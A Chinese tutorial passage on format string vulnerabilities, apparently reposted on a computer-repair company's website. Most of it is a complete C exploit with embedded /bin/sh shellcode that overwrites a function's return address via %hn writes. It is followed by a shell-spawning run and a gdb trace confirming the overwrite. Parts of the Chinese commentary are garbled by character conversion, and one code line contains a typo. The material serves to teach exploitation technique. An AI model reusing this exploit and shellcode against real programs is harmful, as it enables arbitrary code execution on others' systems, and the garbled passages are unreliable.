设为主页 | 加入收藏 | 繁體中文

Format String 漏洞介绍/总结(二)


  我们看利用程序:
  [bkbll@mobile fmtxp_lib]$ cat x1.c
  /* overwrite return addr by our shellcode address
  * coded by bkbll(bkbll@cnhonker.net)
  */
  #include
  #include
  #include
  #define want_write_addr 0xbffff67c /* foo函数前往地址地点的地址 */
  #define pad 12 /* 要颠末多少个的指针范例地址数据 */
  #define straddr 0xbffff690 /* 用户自定义的肇始数据地址 */
  char shellcode[]=
  "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
  "\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
  "\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
  "/bin/sh";
  main()
  {
  int high_ret,low_ret;
  char buffer[1024];
  int j=0;
  int shell_addr_pad=0x50;
  int rea_high_ret,rea_low_ret;
  int print_acc;
  memset(buffer,0x90,1024);
  buffer[1023]=0;
  /* 由于我们无法一下将shellcode地址写进want_write_addr,以是我们只要分两部分,前四位
  和后四位来写入,第一次写少点的数,第二次写两者之差就刚好餍足要求了 */
  high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;
  low_ret=(straddr+shell_addr_pad) & 0xffff;
  if(high_ret == low_ret) exit(0); /* 不行能作到长度不变 */
  rea_high_ret=high_ret;
  rea_low_ret=low_ret;
  if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;} /*确认最小的数据先写
  */
  print_acc=rea_high_ret - rea_low_ret;
  fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
  /* 0xbffff67c */
  buffer[0]=want_write_addr & 0xff;
  buffer[1]=(want_write_addr >> 8 ) & 0xff;
  buffer[2]=(want_write_addr >> 16 ) & 0xff;
  buffer[3]=(want_write_addr >> 24 ) & 0xff;
  /*0xbffff67c+2, 这样配合上面的数据就可以刚好写出一个4字节的指针出来 */
  buffer[4]=((want_write_addr+2)) & 0xff;
  buffer[5]=((want_write_addr+2)>>8) & 0xff;
  buffer[6]=((want_write_addr+2)>>16) & 0xff;
  buffer[7]=((want_write_addr+2)>>24) & 0xff;
  j=8;
  j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_retj,
  pad+1,print_acc,pad); /* 比较小的数值是0x0000bffff,比较大的数值是0x0000f690+0x50,但
  是 bfff恰好是地址的高四位,以是要写到第13个指针,也便是0xbffff67c+2的地方,而
  f690+50就写到第12个指针处,也便是0xbffff67c处,用%hn表现写一个2字节的数据,short
  型的,而不是缺省的int型 */
  buffer[j]=0x90;/* 补上一个NOP */
  sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
  if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
  printf("%s\n",buffer);
  }
  好,我们来试一下这个exploit:
  [bkbll@mobile fmtxp_lib]$ ./x1 >1
  use shell addr:0xbffff6e0
  [bkbll@mobile fmtxp_lib]$ ./vuln 1
  ?????????????.(空格和不需要的信息)
  蛝)繞蛝柁   /bin/sh
  sh-2.05b$id
  uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
  sh-2.05b$
  乐成了。我们跟踪一下程序,看能否真的切合要求。
  [bkbll@mobile fmtxp_lib]$ gdb -q vuln
  (gdb) x/i foo
  0x80484c4 : push %ebp
  (gdb) b *0x80484c4
  Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
  (gdb) r 1
  Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 1
  Breakpoint 1, foo (line=0x2
) at vuln.c:30
  30 {
  (gdb) x/wx $esp
  0xbffff67c: 0x080484b6 /* 前往地址地点地址 */
  (gdb) disass foo
  Dump of assembler code for function foo:
  0x80484c4 : push %ebp
  0x80484c5 : mov %esp,%ebp
  0x80484c7 : sub $0x8,%esp
  0x80484ca : sub $0xc,%esp
  0x80484cd : pushl 0x8(%ebp)
  0x80484d0 : call 0x8048350
  0x80484d5 : add $0x10,%esp
  0x80484d8 : leave
  0x80484d9 : ret
  End of assembler dump.
  (gdb) b *0x80484d5
  Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
  (gdb)c
  蛝)繞蛝柁   /bin/sh
  Breakpoint 2, 0x080484d5 in foo (
  line=0xbffff690 "|?縹??49143p%13$hn%14049p%12$hn", '\220' ...) at
  vuln.c:31
  31 printf (line);
  (gdb) x/wx 0xbffff67c /*看看现在原来应该放前往刂返牡刂防锸鞘裁茨谌? */
  0xbffff67c: 0xbffff6e0
  (gdb) x/i 0xbffff6e0 /* 曾经更换成了我们本身的buffer addr */
  0xbffff6e0: nop
  (gdb)
  0xbffff6e1: nop
  (gdb)
  0xbffff6e2: nop /*跳转到NOP指令了 */(gdb) c
  Continuing.
  Program received signal SIGTRAP, Trace/breakpoint trap.
  0x40000b30 in _start () from /lib/ld-linux.so.2
  ok,曾经跳入到了/bin/sh了。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: